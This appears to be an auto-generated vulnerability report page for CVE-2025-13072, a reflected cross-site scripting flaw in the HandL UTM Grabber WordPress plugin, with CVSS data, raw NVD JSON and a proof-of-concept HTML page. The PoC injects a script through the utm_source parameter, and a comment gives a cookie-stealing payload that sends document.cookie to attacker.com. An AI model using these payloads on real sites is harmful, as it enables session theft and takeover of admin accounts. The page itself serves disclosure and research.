Security Vulnerability Report
中文
CVE-2025-13072 CVSS 7.1 HIGH

CVE-2025-13072

Published: 2025-12-10 06:15:45
Last Modified: 2026-04-15 00:35:42

Description

The HandL UTM Grabber / Tracker WordPress plugin before 2.8.1 does not sanitize and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

HandL UTM Grabber / Tracker WordPress Plugin < 2.8.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-13072 PoC: HandL UTM Grabber Reflected XSS --> <!DOCTYPE html> <html> <head> <title>CVE-2025-13072 PoC</title> </head> <body> <h2>CVE-2025-13072 Reflected XSS PoC</h2> <p>Target: WordPress with HandL UTM Grabber Plugin < 2.8.1</p> <!-- Malicious URL that triggers the XSS --> <p>Malicious URL:</p> <code id="malicious-url"></code> <script> // Generate the malicious URL const targetBase = "http://target-wordpress-site.com"; const maliciousPayload = '<script>alert("XSS - CVE-2025-13072")</script>'; const maliciousUrl = `${targetBase}/?utm_source=${encodeURIComponent(maliciousPayload)}`; document.getElementById('malicious-url').textContent = maliciousUrl; // For demonstration, show the payload console.log("Malicious URL:", maliciousUrl); console.log("Payload:", maliciousPayload); </script> <!-- Attack Scenario: 1. Attacker crafts a malicious URL with XSS payload in utm_source parameter 2. Attacker tricks a WordPress admin into clicking the link (via phishing, etc.) 3. Admin's browser executes the JavaScript payload 4. Attacker can steal session cookies, perform actions as admin, etc. Example attack payload for cookie stealing: <script>fetch('https://attacker.com/steal?c='+document.cookie)</script> --> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13072", "sourceIdentifier": "[email protected]", "published": "2025-12-10T06:15:45.320", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The HandL UTM Grabber / Tracker WordPress plugin before 2.8.1 does not sanitize and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "references": [{"url": "https://wpscan.com/vulnerability/e3795f29-b886-4b92-a7d6-5f5afd7090aa/", "source": "[email protected]"}]}}